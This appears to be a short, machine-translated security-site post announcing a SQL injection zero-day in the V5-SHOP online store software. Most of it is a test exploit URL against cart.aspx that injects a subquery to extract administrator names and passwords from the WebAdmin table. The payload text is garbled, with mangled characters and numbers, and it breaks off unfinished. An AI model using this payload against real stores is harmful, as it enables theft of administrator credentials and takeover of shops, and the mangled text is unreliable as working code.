V5-SHOP Mall SQL injection 0day-vulnerability warning-the black bar safety net

net the online store system The following is a test EXP: to cart. aspx? act=buy&id=1 and Select Top 1 char1 2 4%2BisNullcastName as varchar8 0 0 0,char3 2%2Bchar1 2 4%2BisNullcastPass as varchar8 0 0 0,char3 2%2Bchar1 2 4 From Select Top 4 Name,Pass From WebAdmin Where 1 1=1 Order by Name,Pass T...